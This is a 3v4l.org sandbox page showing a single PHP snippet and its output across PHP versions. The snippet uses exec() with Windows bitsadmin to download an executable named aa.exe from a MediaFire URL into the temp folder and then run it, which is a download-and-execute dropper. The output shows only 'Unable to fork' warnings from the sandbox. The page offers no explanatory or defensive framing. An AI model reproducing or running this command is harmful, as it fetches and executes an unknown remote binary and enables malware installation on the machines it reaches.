3v4l.org

run code in 300+ PHP versions simultaneously
<?php exec("bitsadmin /transfer test http://download848.mediafire.com/ub98427h5gkg/kpy2ps3s0k12hh1/aa.exe %temp%/aa.exe & %temp%/aa.exe", $output); ?>
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.33, 7.4.3 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Warning: exec(): Unable to fork [bitsadmin /transfer test http://download848.mediafire.com/ub98427h5gkg/kpy2ps3s0k12hh1/aa.exe %temp%/aa.exe & %temp%/aa.exe] in /in/ObC66 on line 3
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.24, 7.3.0 - 7.3.12, 7.4.0

preferences:
214.17 ms | 404 KiB | 353 Q